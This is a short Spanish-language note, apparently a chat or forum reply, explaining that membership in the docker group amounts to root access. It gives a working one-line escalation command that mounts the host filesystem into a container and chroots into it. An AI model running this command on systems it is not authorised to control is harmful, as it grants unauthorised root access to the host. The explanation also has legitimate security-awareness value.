user
docker
Porque Docker = root efectivo.
Compruébalo:
groups user
Si ves:
user docker
Entonces ya es root, incluso sin sudo.
Ejemplo de escalada inmediata:
docker run -it --rm -v /:/host alpine chroot /host sh
💥 Root total.